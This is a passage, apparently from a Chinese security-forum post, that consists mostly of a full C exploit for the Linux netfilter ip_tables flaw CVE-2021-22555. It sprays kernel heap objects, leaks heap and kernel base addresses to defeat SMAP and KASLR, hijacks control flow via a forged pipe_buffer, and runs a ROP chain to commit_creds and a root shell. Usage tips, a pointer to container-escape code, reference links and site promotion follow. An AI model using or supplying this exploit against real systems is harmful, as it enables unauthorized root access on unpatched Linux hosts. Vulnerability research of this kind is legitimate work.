data.replace.num_entries = 1;
data.replace.size = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target)); // 0x70 + (0x108+0x1000-0x200-0x2) + 0x20 + 0x20 = 0xFB8 - 0x2
data.entry.next_offset = (sizeof(data.entry) + sizeof(data.match) +
sizeof(data.pad) + sizeof(data.target)); // Size of ipt_entry + matches + target
data.entry.target_offset =
(sizeof(data.entry) + sizeof(data.match) + sizeof(data.pad)); // Size of ipt_entry + matches
data.match.u.user.match_size = (sizeof(data.match) + sizeof(data.pad)); // 0x20 + (0x108+0x1000-0x200-0x2) = 0xF28 - 0x2
strcpy(data.match.u.user.name, "icmp");
data.match.u.user.revision = 0;
data.target.u.user.target_size = sizeof(data.target); // 0x20
strcpy(data.target.u.user.name, "NFQUEUE");
data.target.u.user.revision = 1;
getchar();
// Partially overwrite the adjacent buffer with 2 bytes of zero.
if (setsockopt(s, SOL_IP, IPT_SO_SET_REPLACE, &data, sizeof(data)) != 0) {
if (errno == ENOPROTOOPT) {
printf("[-] Error ip_tables module is not loaded.\n");
return -1;
}
}
return 0;
}
int setup_sandbox(void) {
if (unshare(CLONE_NEWUSER) < 0) {
perror("[-] unshare(CLONE_NEWUSER)");
return -1;
}
if (unshare(CLONE_NEWNET) < 0) {
perror("[-] unshare(CLONE_NEWNET)");
return -1;
}
//bind the cpu0
cpu_set_t set;
CPU_ZERO(&set);
CPU_SET(0, &set);
if (sched_setaffinity(getpid(), sizeof(set), &set) < 0) {
perror("[-] sched_setaffinity");
return -1;
}
return 0;
}
int main(int argc, char *argv[]) {
int s;
int fd;
int ss[NUM_SOCKETS][2];
int pipefd[NUM_PIPEFDS][2];
int msqid[NUM_MSQIDS];
uint64_t *rop_chain;
char primary_buf[PRIMARY_SIZE - SKB_SHARED_INFO_SIZE];
char secondary_buf[SECONDARY_SIZE - SKB_SHARED_INFO_SIZE];
struct msg_msg *msg;
struct pipe_buf_operations *fake_pipe_buffer_ops;
struct pipe_buffer *fake_pipe_buffer;
uint64_t pipe_buffer_ops = 0;
uint64_t kheap_addr = 0, kbase_addr = 0, kernel_offset = 0;
int fake_idx = -1, real_idx = -1;
saveStatus();
printf("\033[32m\033[1m[+] STAGE 0: Initialization\033[0m\n");
printf("[*] Setting up namespace sandbox...\n");
if (setup_sandbox() < 0)
goto err_no_rmid;
printf("[*] Initializing sockets and message queues...\n");
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0) {
perror("[-] socket");
goto err_no_rmid;
}
for (int i = 0; i < NUM_SOCKETS; i++) {
if (socketpair(AF_UNIX, SOCK_STREAM, 0, ss[i]) < 0) {
perror("[-] socketpair");
goto err_no_rmid;
}
}
// 1. two bytes null write -> UAF
// 1-1. gain 4096 msg queue
for (int i = 0; i < NUM_MSQIDS; i++) {
if ((msqid[i] = msgget(IPC_PRIVATE, IPC_CREAT | 0666)) < 0) {
perror("[-] msgget");
goto err_no_rmid;
}
}
printf("\n");
printf("\033[32m\033[1m[+] STAGE 1: Memory corruption\033[0m\n");
//1-2. create 4096 primary msg —— size=0x1000
printf("[*] Spraying primary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_primary, '\xdd', 0x100);
*(int *)&msg_primary.mtext[0] = MSG_TAG;
*(int *)&msg_primary.mtext[4] = i;
if (write_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) < 0)
goto err_rmid;
}
// 1-3. create 4096 secondary msg —— size=0x400
printf("[*] Spraying secondary messages...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
memset(&msg_secondary, 0, sizeof(msg_secondary));
*(int *)&msg_secondary.mtext[0] = MSG_TAG;
*(int *)&msg_secondary.mtext[4] = i;
if (write_msg(msqid[i], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
}
// 1-4. release #1024/#2048/#3072 msg
printf("[*] Creating holes in primary messages...\n");
for (int i = HOLE_STEP; i < NUM_MSQIDS; i += HOLE_STEP) {
if (read_msg(msqid[i], &msg_primary, sizeof(msg_primary), MTYPE_PRIMARY) <
0)
goto err_rmid;
}
// 1-5. make xt_table_info struct take up the hole, and triger 2 bytes null write
printf("[*] Triggering out-of-bounds write...\n");
if (trigger_oob_write(s) < 0)
goto err_rmid;
// 1-6. find which msg is corrupted
printf("[*] Searching for corrupted primary message...\n");
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i != 0 && (i % HOLE_STEP) == 0)
continue;
if (peek_msg(msqid[i], &msg_secondary, sizeof(msg_secondary), 1) < 0)
goto err_no_rmid;
if (*(int *)&msg_secondary.mtext[0] != MSG_TAG) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
if (*(int *)&msg_secondary.mtext[4] != i) {
fake_idx = i;
real_idx = *(int *)&msg_secondary.mtext[4];
break;
}
}
if (fake_idx == -1 && real_idx == -1) {
printf("[-] Error could not corrupt any primary message.\n");
goto err_no_rmid;
}
// fake_idx's primary message has a corrupted next pointer; wrongly pointing to real_idx's secondary message.
printf("[+] fake_idx: 0x%x\n", fake_idx);
printf("[+] real_idx: 0x%x\n", real_idx);
printf("\n");
printf("\033[32m\033[1m[+] STAGE 2: SMAP bypass\033[0m\n");
// 2. leak secondary msg address (kmalloc-0x400) -> to forge `msg_msg->m_list->next & prev`
// 2-1. free overlapped msg
printf("[*] Freeing real secondary message...\n");
if (read_msg(msqid[real_idx], &msg_secondary, sizeof(msg_secondary),
MTYPE_SECONDARY) < 0)
goto err_rmid;
// Reclaim the previously freed secondary message with a fake msg_msg of maximum possible size.
// 2-2. spray and forge msg_msg (forge larger msg_msg->m_ts)
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
PAGE_SIZE - MSG_MSG_SIZE, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 2-2. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x1000)
// Use the fake secondary message to read out-of-bounds.
printf("[*] Leaking adjacent secondary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[SECONDARY_SIZE] != MSG_TAG) {
printf("[-] Error could not leak adjacent secondary message.\n");
goto err_rmid;
}
// The secondary message contains a pointer to the primary message.
msg = (struct msg_msg *)&msg_fake.mtext[SECONDARY_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (PRIMARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
printf("[+] kheap_addr: 0x%" PRIx64 "\n", kheap_addr);
if ((kheap_addr & 0xFFFF000000000000) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}
// 2-3. leak heap pointer `msg_msg->m_list->prev` (kmalloc-0x400) (forge msg_msg->next)
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// Put kheap_addr at next to leak its content. Assumes zero bytes before
// kheap_addr.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, 0x41414141, 0x42424242,
sizeof(msg_fake.mtext), kheap_addr - MSG_MSGSEG_SIZE); // fist 8 bytes must be NULL
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// Use the fake secondary message to read from kheap_addr.
printf("[*] Leaking primary message...\n");
if (peek_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), 1) < 0)
goto err_rmid;
// Check if the leak is valid.
if (*(int *)&msg_fake.mtext[PAGE_SIZE] != MSG_TAG) {
printf("[-] Error could not leak primary message.\n");
goto err_rmid;
}
// The primary message contains a pointer to the secondary message.
msg = (struct msg_msg *)&msg_fake.mtext[PAGE_SIZE - MSG_MSG_SIZE];
kheap_addr = msg->m_list_next;
if (kheap_addr & (SECONDARY_SIZE - 1))
kheap_addr = msg->m_list_prev;
// Calculate the address of the fake secondary message.
kheap_addr -= SECONDARY_SIZE;
printf("[+] kheap_addr: 0x%" PRIx64 "\n", kheap_addr);
if ((kheap_addr & 0xFFFF00000000FFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel heap address is incorrect.\n");
goto err_rmid;
}
// 3. leak kernel base
printf("\n");
printf("\033[32m\033[1m[+] STAGE 3: KASLR bypass\033[0m\n");
printf("[*] Freeing fake secondary messages...\n");
free_skbuff(ss, secondary_buf, sizeof(secondary_buf));
// 3-1. forge `msg_msg->m_list->next & prev` so that list_del() does not crash.
printf("[*] Spraying fake secondary messages...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
build_msg_msg((void *)secondary_buf, kheap_addr, kheap_addr, 0, 0);
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 3-2. free secondary msg
printf("[*] Freeing sk_buff data buffer...\n");
if (read_msg(msqid[fake_idx], &msg_fake, sizeof(msg_fake), MTYPE_FAKE) < 0)
goto err_rmid;
// 3-3. spray pipe_buffer object
printf("[*] Spraying pipe_buffer objects...\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (pipe(pipefd[i]) < 0) {
perror("[-] pipe");
goto err_rmid;
}
// Write something to populate pipe_buffer.
if (write(pipefd[i][1], "pwn", 3) < 0) {
perror("[-] write");
goto err_rmid;
}
}
// 3-4. leak pipe_buffer->ops —— kernel base
printf("[*] Leaking and freeing pipe_buffer object...\n");
for (int i = 0; i < NUM_SOCKETS; i++) {
for (int j = 0; j < NUM_SKBUFFS; j++) {
if (read(ss[i][1], secondary_buf, sizeof(secondary_buf)) < 0) {
perror("[-] read");
goto err_rmid;
}
if (*(uint64_t *)&secondary_buf[0x10] != MTYPE_FAKE)
pipe_buffer_ops = *(uint64_t *)&secondary_buf[0x10];
}
}
kernel_offset = pipe_buffer_ops - ANON_PIPE_BUF_OPS;
kbase_addr = 0xffffffff81000000 + kernel_offset;
printf("[+] anon_pipe_buf_ops: 0x%" PRIx64 "\n", pipe_buffer_ops);
printf("[+] kbase_addr: 0x%" PRIx64 "\n", kbase_addr);
if ((kbase_addr & 0xFFFF0000000FFFFF) != 0xFFFF000000000000) {
printf("[-] Error kernel base address is incorrect.\n");
goto err_rmid;
}
// 4. hijack control-flow
printf("\n");
printf("\033[32m\033[1m[+] STAGE 4: Kernel code execution\033[0m\n");
// 4-1. use skb to forge fake pipe_buffer
printf("[*] Spraying fake pipe_buffer objects...\n");
memset(secondary_buf, 0, sizeof(secondary_buf));
//hijack rsp
fake_pipe_buffer = (struct pipe_buffer *)&secondary_buf;
fake_pipe_buffer->ops = kheap_addr;
fake_pipe_buffer_ops = (struct pipe_buf_operations *)secondary_buf;
fake_pipe_buffer_ops->release = kernel_offset + PUSH_RSI_JMP_RSI_0x2E; //
fake_pipe_buffer_ops->confirm = kernel_offset + ADD_RSP_0x98_RET;
uint64_t *mid_gadget;
mid_gadget = (uint64_t*) (uint64_t*) &secondary_buf[0x2e];
mid_gadget[0] = kernel_offset + POP_RSP_RET;
// 4-2. construct ROP chain
//build rop
int rop_idx = 0;
rop_chain = (uint64_t*) &secondary_buf[0xa0];
rop_chain[rop_idx++] = kernel_offset + POP_RDI_RET;
rop_chain[rop_idx++] = kernel_offset + INIT_CRED;
rop_chain[rop_idx++] = kernel_offset + COMMIT_CREDS;
rop_chain[rop_idx++] = kernel_offset + SWAPGS_RESTORE_REGS_AND_RETURN_TO_USERMODE + 22;
rop_chain[rop_idx++] = *(uint64_t*) "PIG007XX";
rop_chain[rop_idx++] = *(uint64_t*) "PIG007XX";
rop_chain[rop_idx++] = getRootShell;
rop_chain[rop_idx++] = user_cs;
rop_chain[rop_idx++] = user_eflags;
rop_chain[rop_idx++] = user_sp;
rop_chain[rop_idx++] = user_ss;
if (spray_skbuff(ss, secondary_buf, sizeof(secondary_buf)) < 0)
goto err_rmid;
// 4-3. trigger pipe_release()
printf("[*] Releasing pipe_buffer objects...\n");
printf("\n");
for (int i = 0; i < NUM_PIPEFDS; i++) {
if (close(pipefd[i][0]) < 0) {
perror("[-] close");
goto err_rmid;
}
if (close(pipefd[i][1]) < 0) {
perror("[-] close");
goto err_rmid;
}
}
return 0;
err_rmid:
for (int i = 0; i < NUM_MSQIDS; i++) {
if (i == fake_idx)
continue;
if (msgctl(msqid[i], IPC_RMID, NULL) < 0)
perror("[-] msgctl");
}
err_no_rmid:
return 1;
}
效果:
中间有个getchar(),按下回车即可,本来放这是为了方便调试的。
不行的话可以多尝试几次。
然后逃逸容器的我没尝试,也不太会,可以参考arttnba3师傅的容器逃逸EXP(https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/#FINAL-EXPLOIT)。
CVE-2021-22555 2字节堆溢出写0漏洞提权分析 - 安全客,安全资讯平台 (anquanke.com)
https://www.anquanke.com/post/id/254027
【CVE.0x07】CVE-2021-22555 漏洞复现及简要分析 - arttnba3's blog
https://arttnba3.cn/2022/04/01/CVE-0X07-CVE-2021-22555/#Final-EXPLOIT
CVE-2021-22555: Turning \x00\x00 into 10000$ | security-research (google.github.io)
https://google.github.io/security-research/pocs/linux/cve-2021-22555/writeup.html
看雪ID:PIG-007
https://bbs.pediy.com/user-home-904686.htm
2.5折门票限时抢购
峰会官网:https://meet.kanxue.com/kxmeet-6.htm
# 往期推荐
1.进程 Dump & PE unpacking & IAT 修复 - Windows 篇
2.NtSocket的稳定实现,Client与Server的简单封装,以及SocketAsyncSelect的一种APC实现
3.如何保护自己的代码?给自己的代码添加NoChange属性
球分享
球点赞
球在看
点击“阅读原文”,了解更多!